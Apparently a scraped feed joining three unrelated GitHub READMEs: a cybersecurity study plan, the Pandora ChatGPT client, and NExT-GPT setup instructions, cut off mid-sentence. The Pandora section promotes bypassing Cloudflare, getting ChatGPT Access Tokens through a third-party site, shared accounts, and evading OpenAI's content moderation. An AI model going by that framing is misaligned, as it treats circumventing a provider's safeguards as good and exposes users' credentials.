Cybersecurity Study Plan</h1> <h2>Day 1-7: Network+</h2> <ul> <li>Watch videos from Professor Messer's N10-008 Playlist: <a href="https://youtube.com/playlist?list=PLG49S3nxzAnlCJiCrOYuRYb6cne864a7G">https://youtube.com/playlist?list=PLG49S3nxzAnlCJiCrOYuRYb6cne864a7G</a></li> <li>Complete any related practice questions or exercises.</li> </ul> <h2>Day 8-14: Security+</h2> <ul> <li>Watch videos from Professor Messer's SYO-601 Playlist: <a href="https://youtube.com/playlist?list=PLG49S3nxzAnkL2ulFS3132mOVKuzzBxA8">https://youtube.com/playlist?list=PLG49S3nxzAnkL2ulFS3132mOVKuzzBxA8</a></li> <li>Complete any related practice questions or exercises.</li> </ul> <h2>Day 15-28: Linux</h2> <ul> <li>Follow the tutorials on Ryan's Tutorials: <a href="https://ryanstutorials.net/linuxtutorial/">https://ryanstutorials.net/linuxtutorial/</a></li> <li>Take the Linux course on EdX: <a href="https://edx.org/learn/linux">https://edx.org/learn/linux</a></li> <li>Read through the Linux Documentation Project (LDP): <a href="http://tldp.org">http://tldp.org</a></li> </ul> <h2>Day 29-42: Python</h2> <ul> <li>Complete Codecademy's Learn Python Track: <a href="https://codecademy.com/learn/learn-python">https://codecademy.com/learn/learn-python</a></li> <li>Follow SoloLearn's Python Tutorial: <a href="https://sololearn.com/Course/Python/">https://sololearn.com/Course/Python/</a></li> <li>Read "Learn Python the Hard Way": <a href="https://learnpythonthehardway.org">https://learnpythonthehardway.org</a></li> </ul> <h2>Day 43-56: Traffic Analysis</h2> <ul> <li>Take the Wireshark University course: <a href="https://wireshark.org/training/">https://wireshark.org/training/</a></li> <li>Follow the Wireshark Tutorial on guru99: <a href="https://guru99.com/wireshark-tutorial.html">https://guru99.com/wireshark-tutorial.html</a></li> <li>Read through the TCPdump Tutorial on DanielMiessler: <a href="https://danielmiessler.com/study/tcpdump/">https://danielmiessler.com/study/tcpdump/</a></li> <li>Watch the Suricata IDS/IPS System Tutorial on YouTube: <a href="https://youtube.com/watch?v=DZl7mW8OvZg">https://youtube.com/watch?v=DZl7mW8OvZg</a></li> <li>Read through the Suricata on pfSense guide: <a href="https://doc.pfsense.org/index.php/Suricata">https://doc.pfsense.org/index.php/Suricata</a></li> </ul> <h2>Day 57-63: Git</h2> <ul> <li>Complete Codecademy's Git for Beginners course: <a href="https://codecademy.com/learn/learn-git">https://codecademy.com/learn/learn-git</a></li> <li>Follow the Git Immersion tutorial: <a href="http://gitimmersion.com">http://gitimmersion.com</a></li> <li>Try Git: <a href="https://try.github.io">https://try.github.io</a></li> </ul> <h2>Day 64-70: ELK</h2> <ul> <li>Follow the ELK Stack Tutorial on Logz.io: <a href="https://logz.io/learn/complete-elk-stack-tutorial/">https://logz.io/learn/complete-elk-stack-tutorial/</a></li> <li>Browse through the ELK Stack tutorials on Elastic: <a href="https://elastic.co/learn/elastic-stack">https://elastic.co/learn/elastic-stack</a></li> </ul> <h2>Day 71-77: AWS</h2> <ul> <li>Explore the AWS Getting Started Resource Center: <a href="https://aws.amazon.com/getting-started/">https://aws.amazon.com/getting-started/</a></li> <li>Browse through the AWS Tutorials: <a href="https://aws.amazon.com/tutorials/">https://aws.amazon.com/tutorials/</a></li> </ul> <h2>Day 78-84: Azure</h2> <ul> <li>Read the Introduction to Microsoft Azure: <a href="https://bowtiedcyber.substack.com/p/introduction-to-microsoft-azure">https://bowtiedcyber.substack.com/p/introduction-to-microsoft-azure</a></li> <li>Go through Azure Fundamentals: <a href="https://docs.microsoft.com/en-us/learn/azure/">https://docs.microsoft.com/en-us/learn/azure/</a></li> </ul> <h2>Day 85-90: Hacking</h2> <ul> <li>Practice on Cyber Talents: <a href="https://cybertalents">https://cybertalents</a></li> <li>Try to hack the challenges on Hack the Box: <a href="https://hackthebox.com">https://hackthebox.com</a></li> <li>Practice on vulnerable machines on Vulnhub: <a href="https://vulnhub.com">https://vulnhub.com</a></li> </ul> <h2>Day 91-92: One Page Resume</h2> <ul> <li>Use the provided resume template: <a href="https://bowtiedcyber.substack.com/p/killer-cyber-resume-part-ii">https://bowtiedcyber.substack.com/p/killer-cyber-resume-part-ii</a></li> <li>Cybersecurity Resume Template from Hiration: <a href="https://www.hiration.com/resume-templates/cybersecurity-resume-template/">https://www.hiration.com/resume-templates/cybersecurity-resume-template/</a> This template is specifically designed for cybersecurity professionals and includes sections for skills, certifications, and professional experience, along with a summary and a skills section.</li> <li>Cybersecurity Resume from MyPerfectResume: <a href="https://www.myperfectresume.com/resume-templates/cybersecurity">https://www.myperfectresume.com/resume-templates/cybersecurity</a> This template is also designed for cybersecurity professionals and includes sections for skills, certifications, and experience, along with a summary, and a section for education.</li> <li>Cybersecurity Resume from Resume-Now: <a href="https://www.resume-now.com/templates/cyber-security-resume">https://www.resume-now.com/templates/cyber-security-resume</a> This template also has sections for skills, certifications, and experience, along with a summary, and a section for education. It also includes a section for technical skills.</li> </ul> <h2>Day 93-95: Where and How to Apply</h2> <p>Search for jobs on Indeed: <a href="https://indeed.com">https://indeed.com</a> Look for opportunities on LinkedIn: <a href="https://linkedin.com">https://linkedin.com</a></p> - zhile-io/pandora - 2023-09-19T01:24:00Z - tag:github.com,2023-09-19:/zhile-io/pandora - - <p>潘多拉,一个让你呼吸顺畅的ChatGPT。Pandora, a ChatGPT client that lets you breathe freely.</p><hr><h1>Pandora</h1> <p>潘多拉 (Pandora),一个让你呼吸顺畅的 ChatGPT。</p> <p>潘多拉实现了网页版 ChatGPT 的主要操作。后端优化,绕过 Cloudflare,速度喜人。</p> <!-- PROJECT SHIELDS --> <p><img src="https://img.shields.io/badge/python-%3E%3D3.7-green" alt="Python version"> <a href="https://github.com/zhile-io/pandora/issues"><img src="https://img.shields.io/github/issues-raw/zhile-io/pandora" alt="Issues"></a> <a href="https://github.com/zhile-io/pandora/commits/master"><img src="https://img.shields.io/github/last-commit/zhile-io/pandora/master" alt="Commits"></a> <a href="https://pypi.python.org/pypi/pandora-chatgpt"><img src="https://img.shields.io/pypi/v/pandora-chatgpt.svg?sanitize=true" alt="PyPi"></a> <a href="https://pypi.python.org/pypi/pandora-chatgpt"><img src="https://static.pepy.tech/badge/pandora-chatgpt" alt="Downloads"></a> <a href="https://github.com/zhile-io/pandora/actions/workflows/python-publish.yml"><img src="https://github.com/zhile-io/pandora/actions/workflows/python-publish.yml/badge.svg?sanitize=true" alt="PyPi workflow"></a> <a href="https://github.com/zhile-io/pandora/actions/workflows/docker-publish.yml"><img src="https://github.com/zhile-io/pandora/actions/workflows/docker-publish.yml/badge.svg?sanitize=true" alt="Docker workflow"></a> <a href="https://discord.gg/QBkd9JAaWa"><img src="https://img.shields.io/discord/1098772912242163795?label=Discord" alt="Discord"></a></p> <h2>体验地址</h2> <ul> <li>点击 <a href="https://chat.zhile.io" target="_blank" title="Pandora Cloud体验地址"></a><a href="https://chat.zhile.io">https://chat.zhile.io</a></li> <li>最新拿 <code>Access Token</code> 的技术原理,我记录在<a href="https://zhile.io/2023/05/19/how-to-get-chatgpt-access-token-via-pkce.html">这里</a>了。</li> <li>可以访问 <a href="http://ai-20230626.fakeopen.com/auth">这里</a> 拿 <code>Access Token</code></li> <li>也可以官方登录,然后访问 <a href="http://chat.openai.com/api/auth/session">这里</a> 拿 <code>Access Token</code></li> <li><code>Access Token</code> 有效期 <code>14</code> 天,期间访问<strong>不需要梯子</strong>。这意味着你在手机上也可随意使用。</li> <li>这个页面上还包含一个共享账号的链接,<strong>没有账号</strong>的可以点进去体验一下。</li> </ul> <h2>ChatGPT使用时可能会遇到:</h2> <h3>1. Please stand by, while we are checking your browser...</h3> <h3>&nbsp;&nbsp;&nbsp;动不动来一下,有时候还不动或者出人机验证。痛!</h3> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/t0.png" alt="t0"></p> <h3>2. Access denied. Sorry, you have been blocked</h3> <h3>&nbsp;&nbsp;&nbsp;经典问题,只能到处找可用VPN,费时费力,更费钱。移动端访问更难。痛!</h3> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/t1.1.png" alt="t1.1"></p> <h3>3. ChatGPT is at capacity right now</h3> <h3>&nbsp;&nbsp;&nbsp;系统负载高,白嫖用户不给用。痛!</h3> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/t2.png" alt="t2"></p> <h3>4. This content may violate our <u>content policy</u>.</h3> <h3>&nbsp;&nbsp;&nbsp;道德审查,多触发几次可能就封号了。痛!!!</h3> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/t3.png" alt="t3"></p> <h3>5. Something went wrong.</h3> <h3>&nbsp;&nbsp;&nbsp;吃着火锅唱着歌,突然就出故障了。痛!</h3> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/t4.png" alt="t4"></p> <h3>6. 手机和电脑的模型不通用,顾这个就顾不到那个,痛!</h3> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/t7.png" alt="t7"></p> <h3>7. 蹦字慢吞吞,卡顿不流畅,不知道的甚至想换电脑。痛!</h3> <h3>8. 想把 <code>ChatGPT</code> 接到其他系统,结果只能接个差强人意的 <code>gpt-3.5-turbo</code>。痛!</h3> <h3><em>一次看完上面的噩梦,血压上来了,拳头硬了!太痛了!!!以上痛点,<code>Pandora</code> 一次全部解决。</em></h3> <h2>界面截图</h2> <details> <summary> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s05.png" alt="alt Screenshot5"><br> <img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s12.jpeg" alt="alt Screenshot10"></p> </summary> <p><img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s01.png" alt="alt Screenshot1"><br> <img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s02.png" alt="alt Screenshot2"><br> <img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s03.png" alt="alt Screenshot3"><br> <img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s04.png" alt="alt Screenshot4"><br> <img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s06.png" alt="alt Screenshot6"><br> <img src="https://github.com/zhile-io/pandora/raw/master/doc/images/s11.jpeg" alt="alt Screenshot11"></p> </details> <h2>如何搭建运行</h2> <ul> <li>访问 <a href="https://github.com/zhile-io/pandora/raw/master/doc/wiki.md">doc/wiki.md</a> 获得详细指导。</li> </ul> <h2>其他说明</h2> <ul> <li><code>开源项目可以魔改,但请保留原作者信息。确需去除,请联系作者,以免失去技术支持。</code></li> <li>项目是站在其他巨人的肩膀上,感谢!</li> <li>报错、BUG之类的提出<code>Issue</code>,我会修复。</li> <li>因为之后<code>ChatGPT</code>的API变动,我可能不会跟进修复。</li> <li>喜欢的可以给颗星,都是老朋友了。</li> <li>不影响<code>PHP是世界上最好的编程语言!</code></li> </ul> <h2>贡献者们</h2> <blockquote> <p>感谢所有让这个项目变得更好的贡献者们!</p> </blockquote> <p><a href="https://github.com/zhile-io/pandora/graphs/contributors"><img src="https://contrib.rocks/image?repo=zhile-io/pandora" alt="Star History Chart"></a></p> <h2>Star历史</h2> <p><img src="https://api.star-history.com/svg?repos=zhile-io/pandora&amp;type=Date" alt="Star History Chart"></p> + NExT-GPT/NExT-GPT + 2023-09-20T01:23:26Z + tag:github.com,2023-09-20:/NExT-GPT/NExT-GPT + + <p>Code and models for NExT-GPT: Any-to-Any Multimodal Large Language Model</p><hr><h1><img src="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/nextgpt.png" style="width: 5%"> NExT-GPT: Any-to-Any Multimodal LLM</h1> <p><a href="https://chocowu.github.io/">Shengqiong Wu</a>, <a href="http://haofei.vip/">Hao Fei</a>*, <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#">Leigang Qu</a>, <a href="https://jiwei0523.github.io/">Wei Ji</a>, and <a href="https://www.chuatatseng.com/">Tat-Seng Chua</a>. (*Correspondence )</p> <p><strong><a href="https://www.nextcenter.org/">NExT++</a>, School of Computing, National University of Singapore</strong></p> <hr> <p><a href="https://next-gpt.github.io/"><img src="https://img.shields.io/badge/Project-Page-Green"></a> <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#"><img src="https://img.shields.io/badge/Demo-Page-purple"></a> <a href="https://arxiv.org/pdf/2309.05519"><img src="https://img.shields.io/badge/Paper-PDF-orange"></a> <img src="https://img.shields.io/badge/License-BSD-blue.svg?sanitize=true" alt="License"> <a href="https://www.youtube.com/watch?v=aqw2SCWeWD0"><img src="https://badges.aleen42.com/src/youtube.svg?sanitize=true" alt="YouTube"></a></p> <p>This repository hosts the code, data and model weight of <strong>NExT-GPT</strong>, the first end-to-end MM-LLM that perceives input and generates output in arbitrary combinations (any-to-any) of text, image, video, and audio and beyond.</p> <hr> <h2>🎉 News</h2> <ul> <li><input type="checkbox" checked disabled> [2023.09.15] 🚀🚀 Release the code of NExT-GPT in version <code>7b_tiva_v0</code>.</li> </ul> <h2>👉 TODO</h2> <ul> <li><input type="checkbox" disabled> Release checkpoints (projection layers).</li> <li><input type="checkbox" disabled> Release MosIT data.</li> <li><input type="checkbox" disabled> Updating NExT-GPT in more types&amp;sizes of LLMs.</li> <li><input type="checkbox" disabled> Empowering NExT-GPT with more modalities of inputs&amp;outputs.</li> <li><input type="checkbox" disabled> ...</li> </ul> <hr> <h2>Example Demos</h2> <p>Here we showcase examples generated from NExT-GPT. For more examples, kindly visit the <a href="https://next-gpt.github.io/">webpage</a>, or the online live <a href="https://9f10951d8cbe53e698.gradio.live">demo</a>.</p> <p><a href="https://github.com/NExT-GPT/NExT-GPT/assets/18722770/0c2b3d88-a533-4899-ab44-65580fe54538">https://github.com/NExT-GPT/NExT-GPT/assets/18722770/0c2b3d88-a533-4899-ab44-65580fe54538</a></p> <p><a href="https://github.com/NExT-GPT/NExT-GPT/assets/18722770/eb1319a6-38aa-4546-a96e-163207e7de93">https://github.com/NExT-GPT/NExT-GPT/assets/18722770/eb1319a6-38aa-4546-a96e-163207e7de93</a></p> <p><a href="https://github.com/NExT-GPT/NExT-GPT/assets/18722770/36bec0ad-9bad-4bcf-bc37-92b028f1bc6a">https://github.com/NExT-GPT/NExT-GPT/assets/18722770/36bec0ad-9bad-4bcf-bc37-92b028f1bc6a</a></p> <span id="introduction"></span> <h2>Brief Introduction</h2> <p>NExt-GPT is built on top of existing pre-trained LLM, multimodal encoder and SoTA diffusion models, with sufficient end-to-end instruction tuning.</p> <p align="center" width="100%"> <a target="_blank"><img src="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/figures/framework.png" alt="Video-LLaMA" style="width: 90%; min-width: 200px; display: block; margin: auto;"></a> </p> <ul> <li><strong>Multimodal Encoding Stage.</strong> Leveraging established encoders to encode inputs in various modalities, where these representations are projected into language-like representations comprehensible to the LLM through a projection layer.</li> <li><strong>LLM Understanding and Reasoning Stage.</strong> Harnessing an existing open-sourced LLM as the core to process input information for semantic understanding and reasoning. The LLM not only directly generates text tokens but also produces unique “modality signal” tokens that serve as instructions to dictate the decoding layers whether &amp; what modal content to output correspondingly.</li> <li><strong>Multimodal Generation Stage.</strong> Receiving the multimodal signals with specific instructions from LLM (if any), the Transformer-based output projection layers map the signal token representations into the ones that are understandable to following multimodal decoders.</li> </ul> <p>For more technical details, kindly refer to the <a href="https://arxiv.org/pdf/2309.05519.pdf">paper</a>.</p> <hr> <span id="Usage"></span> <h2>Getting Started</h2> <span id="all_catelogue"></span> <h3>Table of Contents:</h3> <ul> <li><a href="#Code Structure">1. Code Structure</a></li> <li><a href="#Environment Preparation">2. Environment Preparation </a></li> <li><a href="#Training on Your Own">3. Training/Adapting NExt-GPT on Your Own</a> <ul> <li><a href="#Prepare Pre-trained Checkpoint">3.1. Preparing Pre-trained Checkpoint</a></li> <li><a href="#Prepare Dataset">3.2. Preparing Dataset </a></li> <li><a href="#Precompute Embeddings">3.3. Precomputing Embeddings</a></li> <li><a href="#Train NExT-GPT">3.4. Training NExT-GPT</a></li> </ul> </li> <li><a href="#Run NExT-GPT System">4. Running NExT-GPT System</a> <ul> <li><a href="#Prepare checkpoints">4.1. Preparing checkpoints</a></li> <li><a href="#Deploy Demo System">4.2. Deploying Demo System</a></li> </ul> </li> </ul> <hr> <span id="Code Structure"></span> <h3>1. Code Structure</h3> <pre><code>├── figures ├── data │ ├── T-X_pair_data │ │ ├── audiocap # text-autio pairs data │ │ │ ├── audios # audio files │ │ │ └── audiocap.json # the audio captions │ │ ├── cc3m # text-image paris data │ │ │ ├── images # image files │ │ │ └── cc3m.json # the image captions │ │ └── webvid # text-video pairs data │ │ │ ├── videos # video files │ │ │ └── webvid.json # the video captions │ ├── IT_data # instruction data │ │ ├── T+X-T_data # text+[image/audio/video] to text instruction data │ │ │ ├── alpaca # textual instruction data │ │ │ ├── llava # visual instruction data │ │ ├── T-T+X # synthesized text to text+[image/audio/video] instruction data │ │ └── MosIT # Modality-switching Instruction Tuning instruction data ├── code │ ├── config │ │ ├── base.yaml # the model configuration │ │ ├── stage_1.yaml # enc-side alignment training configuration │ │ ├── stage_2.yaml # dec-side alignment training configuration │ │ └── stage_3.yaml # instruction-tuning configuration │ ├── dsconfig │ │ ├── stage_1.json # deepspeed configuration for enc-side alignment training │ │ ├── stage_2.json # deepspeed configuration for dec-side alignment training │ │ └── stage_3.json # deepspeed configuration for instruction-tuning training │ ├── datast │ │ ├── base_dataset.py │ │ ├── cc3m_datast.py # process and load text-image pair dataset │ │ ├── audiocap_datast.py # process and load text-audio pair dataset │ │ ├── webvid_dataset.py # process and load text-video pair dataset │ │ └── instruction_dataset.py # process and load instruction pair dataset │ ├── model │ │ ├── ImageBind # the code from ImageBind Model │ │ ├── common │ │ ├── anyToImageVideoAudio.py # the main model file │ │ ├── agent.py │ │ ├── modeling_llama.py │ │ ├── custom_ad.py # the audio diffusion │ │ ├── custom_sd.py # the image diffusion │ │ ├── custom_vd.py # the video diffusion │ │ ├── layers.py # the output projection layers │ │ └── ... │ ├── scripts │ │ ├── train.sh # training NExT-GPT script │ │ └── app.sh # deploying demo script │ ├── header.py │ ├── process_embeddings.py # precompute the captions embeddings │ ├── train.py # training │ ├── inference.py # inference │ ├── demo_app.py # deploy Gradio demonstration │ └── ... ├── ckpt │ ├── delta_ckpt # tunable NExT-GPT params │ │ ├── nextgpt │ │ │ ├── 7b_tiva_v0 # the directory to save the log file │ │ │ │ ├── log # the logs │ └── ... │ ├── pretrained_ckpt # frozen params of pretrained modules │ │ ├── imagebind_ckpt │ │ │ ├──huge # version │ │ │ │ └──imagebind_huge.pth │ │ ├── vicuna_ckpt │ │ │ ├── 7b_v0 # version │ │ │ │ ├── config.json │ │ │ │ ├── pytorch_model-00001-of-00002.bin │ │ │ │ ├── tokenizer.model │ │ │ │ └── ... ├── LICENCE.md ├── README.md └── requirements.txt </code></pre> <span id="Environment Preparation"></span> <h3>2. Environment Preparation <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#all_catelogue">[Back to Top]</a></h3> <p>Please first clone the repo and install the required environment, which can be done by running the following commands:</p> <pre><code>conda env create -n nextgpt python=3.8 conda activate nextgpt # CUDA 11.6 conda install pytorch==1.13.1 torchvision==0.14.1 torchaudio==0.13.1 pytorch-cuda=11.6 -c pytorch -c nvidia git clone https://github.com/NExT-GPT/NExT-GPT.git cd NExT-GPT pip install -r requirements.txt </code></pre> <span id="Training on Your Own"></span> <h3>3. Training/Adapting NExt-GPT on Your Own</h3> <h4></h4> <span id="Prepare Pre-trained Checkpoint"></span> <h4>3.1. Preparing Pre-trained Checkpoint <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#all_catelogue">[Back to Top]</a></h4> <p>NExT-GPT is trained based on following excellent existing models. Please follow the instructions to prepare the checkpoints.</p> <ul> <li><code>ImageBind</code> is the unified image/video/audio encoder. The pre-trained checkpoint can be downloaded from <a href="https://dl.fbaipublicfiles.com/imagebind/imagebind_huge.pth">here</a> with version <code>huge</code>. Afterward, put the <code>imagebind_huge.pth</code> file at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/ckpt/pretrained_ckpt/imagebind_ckpt/">[./ckpt/pretrained_ckpt/imagebind_ckpt/huge]</a>.</li> <li><code>Vicuna</code>: first prepare the LLaMA by following the instructions <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/ckpt/pretrained_ckpt/prepare_vicuna.md">[here]</a>. Then put the pre-trained model at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/ckpt/pretrained_ckpt/vicuna_ckpt/">[./ckpt/pretrained_ckpt/vicuna_ckpt/]</a>.</li> <li><code>Image Diffusion</code> is used to generate images. NExT-GPT uses <a href="https://huggingface.co/runwayml/stable-diffusion-v1-5">Stable Diffusion</a> with version <code> v1-5</code>. (<em>will be automatically downloaded</em>)</li> <li><code>Audio Diffusion</code> for producing audio content. NExT-GPT employs <a href="https://github.com/haoheliu/AudioLDM">AudioLDM</a> with version <code>l-full</code>. (<em>will be automatically downloaded</em>)</li> <li><code>Video Diffusion</code> for the video generation. We employ <a href="https://huggingface.co/cerspense/zeroscope_v2_576w">ZeroScope</a> with version <code>v2_576w</code>. (<em>will be automatically downloaded</em>)</li> </ul> <span id="Prepare Dataset"></span> <h4>3.2. Preparing Dataset <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#all_catelogue">[Back to Top]</a></h4> <p>Please download the following datasets used for model training:</p> <p>A) T-X pairs data</p> <ul> <li><code>CC3M</code> of <em><strong>text-image</strong></em> pairs, please follow this instruction <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data/cc3m/prepare.md">[here]</a>. Then put the data at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data/cc3m">[./data/T-X_pair_data/cc3m]</a>.</li> <li><code>WebVid</code> of <em><strong>text-video</strong></em> pairs, see the <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data/webvid/prepare.md">[instruction]</a>. The file should be saved at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data/webvid">[./data/T-X_pair_data/webvid]</a>.</li> <li><code>AudioCap</code> of <em><strong>text-audio</strong></em> pairs, see the <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data/audiocap/prepare.md">[instruction]</a>. Save the data in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data/audiocap">[./data/T-X_pair_data/audiocap]</a>.</li> </ul> <p>B) Instruction data</p> <ul> <li> <p>T+X-T</p> <ul> <li><code>LLaVA</code> of the <em><strong>visual instruction data</strong></em>, download it from <a href="https://github.com/haotian-liu/LLaVA/raw/main/docs/Data.md">here</a>, and then put it at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/T+X-T_data/llava/">[./data/IT_data/T+X-T_data/llava]</a>.</li> <li><code>Alpaca</code> of the <em><strong>textual instruction data</strong></em>, download it from <a href="https://github.com/tatsu-lab/stanford_alpaca">here</a>, and then put it at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/T+X-T_data/alpaca/">[./data/IT_data/T+X-T_data/alpaca/]</a>.</li> <li><code>VideoChat</code>, download the <em><strong>video instruction data</strong></em> <a href="https://github.com/OpenGVLab/InternVideo/tree/main/Data/instruction_data">here</a>, and then put it at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/T+X-T_data/videochat/">[./data/IT_data/T+X-T_data/videochat/]</a>.</li> </ul> </li> <li> <p>T-X+T</p> <ul> <li>Run the following commands to construct the data. Please ensure the above <code>T+X-T</code> datasets are prepared. Afterward, the <code>T-X+T</code> file <code>instruction_data.json</code> will be saved at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/T-T+X_data">[./data/IT_data/T-T+X_data]</a>. <pre><code class="language-angular2html">cd ./code/dataset/ python instruction_dataset.py </code></pre> </li> </ul> </li> <li> <p>MosIT</p> <ul> <li>Download the file from <a href="">here</a>, put them in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/MosIT_data/">[./data/IT_data/MosIT_data/]</a>. (<em>We are in the process of finalizing the data and handling the copyright issue. Will release later.</em>)</li> </ul> </li> </ul> <span id="Precompute Embeddings"></span> <h4>3.3. Precomputing Embeddings <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#all_catelogue">[Back to Top]</a></h4> <p>In decoding-side alignment training, we minimize the distance between the representation of signal tokens and captions. To save costs of time and memory, we precompute the text embeddings for image, audio and video captions using the text encoder within the respective diffusion models.</p> <p>Please run this command before the following training of NExT-GPT, where the produced <code>embedding</code> file will be saved at <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/embed">[./data/embed]</a>.</p> <pre><code class="language-angular2html">cd ./code/ python process_embeddings.py ../data/T-X_pair_data/cc3m/cc3m.json image ../data/embed/ runwayml/stable-diffusion-v1-5 </code></pre> <p>Note of arguments:</p> <ul> <li>args[1]: path of caption file;</li> <li>args[2]: modality, which can be <code>image</code>, <code>video</code>, and <code>audio</code>;</li> <li>args[3]: saving path of embedding file;</li> <li>args[4]: corresponding pre-trained diffusion model name.</li> </ul> <span id="Train NExT-GPT"></span> <h4>3.4. Training NExT-GPT <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/#all_catelogue">[Back to Top]</a></h4> <p>First of all, please refer to the base configuration file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/config/base.yaml">[./code/config/base.yaml]</a> for the basic system setting of overall modules.</p> <p>Then, the training of NExT-GPT starts with this script:</p> <pre><code class="language-angular2html">cd ./code bash scripts/train.sh </code></pre> <p>Specifying the command:</p> <pre><code class="language-angular2html">deepspeed --include localhost:0 --master_addr 127.0.0.1 --master_port 28459 train.py \ --model nextgpt \ --stage 1\ --dataset cc3m\ --data_path ../data/T-X_pair_data/cc3m/cc3m.json\ --mm_root_path ../data/T-X_pair_data/cc3m/images/\ --embed_path ../data/embed/\ --save_path ../ckpt/delta_ckpt/nextgpt/7b/\ --log_path ../ckpt/delta_ckpt/nextgpt/7b/log/ </code></pre> <p>where the key arguments are:</p> <ul> <li><code>--include</code>: <code>localhost:0</code> indicating the GPT cuda number <code>0</code> of deepspeed.</li> <li><code>--stage</code>: training stage.</li> <li><code>--dataset</code>: the dataset name for training model.</li> <li><code>--data_path</code>: the data path for the training file.</li> <li><code>--mm_root_path</code>: the data path for the image/video/audio file.</li> <li><code>--embed_path</code>: the data path for the text embedding file.</li> <li><code>--save_path</code>: the directory which saves the trained delta weights. This directory will be automatically created.</li> <li><code>--log_path</code>: the directory which saves the log file.</li> </ul> <p>The whole NExT-GPT training involves 3 steps:</p> <ul> <li> <p><strong>Step-1</strong>: Encoding-side LLM-centric Multimodal Alignment. This stage trains the <em><strong>input projection layer</strong></em> while freezing the ImageBind, LLM, output projection layer.</p> <p>Just run the above <code>train.sh</code> script by setting:</p> <ul> <li><code>--stage 1</code></li> <li><code>--dataset x</code>, where <code>x</code> varies from [<code>cc3m</code>, <code>webvid</code>, <code>audiocap</code>]</li> <li><code>--data_path ../.../xxx.json</code>, where <code>xxx</code> is the file name of the data in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data">[./data/T-X_pair_data]</a></li> <li><code>--mm_root_path .../.../x</code>, <code>x</code> varies from [<code>images</code>, <code>audios</code>, <code>videos</code>]</li> </ul> <p>Also refer to the running config file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/config/stage_1.yaml">[./code/config/stage_1.yaml]</a> and deepspeed config file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/dsconfig/stage_1.yaml">[./code/dsconfig/stage_1.yaml]</a> for more step-wise configurations.</p> </li> <li> <p><strong>Step-2</strong>: Decoding-side Instruction-following Alignment. This stage trains the <em><strong>output projection layers</strong></em> while freezing the ImageBind, LLM, input projection layers.</p> <p>Just run the above <code>train.sh</code> script by setting:</p> <ul> <li><code>--stage 2</code></li> <li><code>--dataset x</code>, where <code>x</code> varies from [<code>cc3m</code>, <code>webvid</code>, <code>audiocap</code>]</li> <li><code>--data_path ../.../xxx.json</code>, where <code>xxx</code> is the file name of the data in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/T-X_pair_data">[./data/T-X_pair_data]</a></li> <li><code>--mm_root_path .../.../x</code>, <code>x</code> varies from [<code>images</code>, <code>audios</code>, <code>videos</code>]</li> </ul> <p>Also refer to the running config file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/config/stage_2.yaml">[./code/config/stage_2.yaml]</a> and deepspeed config file <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/code/dsconfig/stage_2.yaml">[./code/dsconfig/stage_2.yaml]</a> for more step-wise configurations.</p> </li> <li> <p><strong>Step-3</strong>: Instruction Tuning. This stage instruction-tune 1) the <em><strong>LLM</strong></em> via LoRA, 2) <em><strong>input projection layer</strong></em> and 3) <em><strong>output projection layer</strong></em> on the instruction dataset.</p> <p>Just run the above <code>train.sh</code> script by setting:</p> <ul> <li><code>--stage 3</code></li> <li><code>--dataset instruction</code></li> <li><code>--data_path ../.../xxx.json</code>, where <code>xxx</code> is the file name of the data in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/T+X-T_data">[./data/IT_data/T+X-T_data]</a> or data in <a href="https://raw.githubusercontent.com/NExT-GPT/NExT-GPT/main/data/IT_data/T+X-T_data">[./data/IT_data/T+X-T_data]</a> or data in <a 